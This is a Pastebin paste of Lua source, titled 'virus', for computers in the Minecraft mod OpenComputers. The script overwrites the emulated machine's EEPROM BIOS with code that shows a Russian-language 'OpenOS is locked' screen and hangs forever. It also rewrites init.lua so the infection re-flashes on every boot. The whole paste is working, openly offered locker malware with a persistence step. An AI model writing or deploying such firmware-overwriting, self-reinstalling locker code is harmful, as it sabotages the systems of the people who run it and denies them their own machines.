Advertisement
Guest User

virus

a guest
Jul 22nd, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.47 KB | None | 0 0
  1.  
  2. local virusPath = "virus"
  3. local EEPROMLabel = "EEPROM (Infected Lua BIOS)"
  4.  
  5. ------------------------------------------------------------------------------------------------------------------------
  6.  
  7. local EEPROMCode = [[
  8.  
  9. local textLines = {
  10.   "Внимание!",
  11.   "Вы стали одним из счастливых обладателей вируса на OpenComputers.",
  12.   "Он заблокировал доступ к вашему компьютеру.",
  13.   "Попытайтесь его удалить - посмотрим, что у вас выйдет.",
  14. }
  15.  
  16. local component_invoke = component.invoke
  17. function boot_invoke(address, method, ...)
  18.   local result = table.pack(pcall(component_invoke, address, method, ...))
  19.   if not result[1] then
  20.     return nil, result[2]
  21.   else
  22.     return table.unpack(result, 2, result.n)
  23.   end
  24. end
  25. ---------------------------------------------------------------
  26. local eeprom = component.list("eeprom")()
  27. computer.getBootAddress = function()
  28.   return boot_invoke(eeprom, "getData")
  29. end
  30. computer.setBootAddress = function(address)
  31.   return boot_invoke(eeprom, "setData", address)
  32. end
  33.  
  34. do
  35.   _G.screen = component.list("screen")()
  36.   _G.gpu = component.list("gpu")()
  37.   if gpu and screen then
  38.     boot_invoke(gpu, "bind", screen)
  39.   end
  40. end
  41. ---------------------------------------------------------------
  42.  
  43. local function centerText(mode,coord,text)
  44.   local dlina = unicode.len(text)
  45.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  46.  
  47.   if mode == "x" then
  48.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  49.   elseif mode == "y" then
  50.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  51.   else
  52.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  53.   end
  54. end
  55.  
  56. local function virus()
  57.   local background, foreground = 0x0000AA, 0xCCCCCC
  58.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  59.   boot_invoke(gpu, "setBackground", background)
  60.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  61.  
  62.   boot_invoke(gpu, "setBackground", foreground)
  63.   boot_invoke(gpu, "setForeground", background)
  64.  
  65.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  66.   centerText("x", y, " OpenOS заблокирована! ")
  67.   y = y + 2
  68.  
  69.   boot_invoke(gpu, "setBackground", background)
  70.   boot_invoke(gpu, "setForeground", foreground)
  71.  
  72.   for i = 1, #textLines do
  73.     centerText("x", y, textLines[i])
  74.     y = y + 1
  75.   end
  76.  
  77.   while true do
  78.     computer.pullSignal()
  79.   end
  80. end
  81.  
  82. if gpu then virus() end
  83. ]]
  84.  
  85. local INITCode = [[
  86.  
  87. local backgroundColor = 0x262626
  88. local foregroundColor = 0xcccccc
  89.  
  90. do
  91.  
  92.   _G._OSVERSION = "OpenOS 1.5"
  93.  
  94.   local component = component
  95.   local computer = computer
  96.   local unicode = unicode
  97.  
  98.   -- Runlevel information.
  99.   local runlevel, shutdown = "S", computer.shutdown
  100.   computer.runlevel = function() return runlevel end
  101.   computer.shutdown = function(reboot)
  102.     runlevel = reboot and 6 or 0
  103.     if os.sleep then
  104.       computer.pushSignal("shutdown")
  105.       os.sleep(0.1) -- Allow shutdown processing.
  106.     end
  107.     shutdown(reboot)
  108.   end
  109.  
  110.   -- Low level dofile implementation to read filesystem libraries.
  111.   local rom = {}
  112.   function rom.invoke(method, ...)
  113.     return component.invoke(computer.getBootAddress(), method, ...)
  114.   end
  115.   function rom.open(file) return rom.invoke("open", file) end
  116.   function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  117.   function rom.close(handle) return rom.invoke("close", handle) end
  118.   function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  119.   function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  120.  
  121.   local screen = component.list('screen',true)()
  122.   for address in component.list('screen',true) do
  123.     if #component.invoke(address, 'getKeyboards') > 0 then
  124.       screen = address
  125.     end
  126.   end
  127.  
  128.   -- Report boot progress if possible.
  129.   local gpu = component.list("gpu", true)()
  130.   local w, h
  131.   if gpu and screen then
  132.     component.invoke(gpu, "bind", screen)
  133.     w, h = component.invoke(gpu, "getResolution")
  134.     component.invoke(gpu, "setResolution", w, h)
  135.     component.invoke(gpu, "setBackground", backgroundColor)
  136.     component.invoke(gpu, "setForeground", foregroundColor)
  137.     component.invoke(gpu, "fill", 1, 1, w, h, " ")
  138.   end
  139.   local y = 1
  140.   local function status(msg)
  141.  
  142.  
  143.     local yPos = math.floor(h / 2)
  144.     local length = #msg
  145.     local xPos = math.floor(w / 2 - length / 2)
  146.  
  147.     component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  148.     component.invoke(gpu, "set", xPos, yPos, msg)
  149.  
  150.     -- if gpu and screen then
  151.     --   component.invoke(gpu, "set", 1, y, msg)
  152.     --   if y == h then
  153.     --     component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  154.     --     component.invoke(gpu, "fill", 1, h, w, 1, " ")
  155.     --   else
  156.     --     y = y + 1
  157.     --   end
  158.     -- end
  159.   end
  160.  
  161.   status("Booting " .. _OSVERSION .. "...")
  162.  
  163.   -- Custom low-level loadfile/dofile implementation reading from our ROM.
  164.   local function loadfile(file)
  165.     status("> " .. file)
  166.     local handle, reason = rom.open(file)
  167.     if not handle then
  168.       error(reason)
  169.     end
  170.     local buffer = ""
  171.     repeat
  172.       local data, reason = rom.read(handle)
  173.       if not data and reason then
  174.         error(reason)
  175.       end
  176.       buffer = buffer .. (data or "")
  177.     until not data
  178.     rom.close(handle)
  179.     return load(buffer, "=" .. file)
  180.   end
  181.  
  182.   local function dofile(file)
  183.     local program, reason = loadfile(file)
  184.     if program then
  185.       local result = table.pack(pcall(program))
  186.       if result[1] then
  187.         return table.unpack(result, 2, result.n)
  188.       else
  189.         error(result[2])
  190.       end
  191.     else
  192.       error(reason)
  193.     end
  194.   end
  195.  
  196.   status("Initializing package management...")
  197.  
  198.   -- Load file system related libraries we need to load other stuff moree
  199.   -- comfortably. This is basically wrapper stuff for the file streams
  200.   -- provided by the filesystem components.
  201.   local package = dofile("/lib/package.lua")
  202.  
  203.   do
  204.     -- Unclutter global namespace now that we have the package module.
  205.     --_G.component = nil
  206.     _G.computer = nil
  207.     _G.process = nil
  208.     _G.unicode = nil
  209.  
  210.     -- Initialize the package module with some of our own APIs.
  211.     package.preload["buffer"] = loadfile("/lib/buffer.lua")
  212.     package.preload["component"] = function() return component end
  213.     package.preload["computer"] = function() return computer end
  214.     package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  215.     package.preload["io"] = loadfile("/lib/io.lua")
  216.     package.preload["unicode"] = function() return unicode end
  217.  
  218.     -- Inject the package and io modules into the global namespace, as in Lua.
  219.     _G.package = package
  220.     _G.io = require("io")
  221.        
  222.   end
  223.  
  224.   status("Initializing file system...")
  225.  
  226.   -- Mount the ROM and temporary file systems to allow working on the file
  227.   -- system module from this point on.
  228.   local filesystem = require("filesystem")
  229.   filesystem.mount(computer.getBootAddress(), "/")
  230.  
  231.   status("Running boot scripts...")
  232.  
  233.   -- Run library startup scripts. These mostly initialize event handlers.
  234.   local scripts = {}
  235.   for _, file in rom.inits() do
  236.     local path = "boot/" .. file
  237.     if not rom.isDirectory(path) then
  238.       table.insert(scripts, path)
  239.     end
  240.   end
  241.   table.sort(scripts)
  242.   for i = 1, #scripts do
  243.     dofile(scripts[i])
  244.   end
  245.  
  246.   status("Initializing components...")
  247.  
  248.   local primaries = {}
  249.   for c, t in component.list() do
  250.     local s = component.slot(c)
  251.     if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  252.       primaries[t] = {address=c, slot=s}
  253.     end
  254.     computer.pushSignal("component_added", c, t)
  255.   end
  256.   for t, c in pairs(primaries) do
  257.     component.setPrimary(t, c.address)
  258.   end
  259.   os.sleep(0.5) -- Allow signal processing by libraries.
  260.   --computer.pushSignal("init") -- so libs know components are initialized.
  261.  
  262.  -- status("Initializing system...")
  263.   --require("term").clear()
  264.   os.sleep(0.1) -- Allow init processing.
  265.   runlevel = 1
  266. end
  267. ]]
  268.  
  269. local component = require("component")
  270. local args = { ... }
  271.  
  272. local function flashEEPROM()
  273.   local eeprom = component.getPrimary("eeprom")
  274.   eeprom.set(EEPROMCode)
  275.   eeprom.setLabel(EEPROMLabel)
  276. end
  277.  
  278. local function rewriteInit()
  279.   local file = io.open("init.lua", "w")
  280.   file:write(INITCode, "\n", "\n")
  281.   file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  282.   file:write("require(\"computer\").shutdown(true)")
  283.   file:close()
  284. end
  285.  
  286. if args[1] == "flashEEPROM" then
  287.   flashEEPROM()
  288. else
  289.   print(" ")
  290.   print("Перепрошиваю BIOS...")
  291.   flashEEPROM()
  292.   print("Перезаписываю кастомный init.lua...")
  293.   rewriteInit()
  294.   print(" ")
  295.   print("Вирус успешно установлен!")
  296.   print(" ")
  297. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement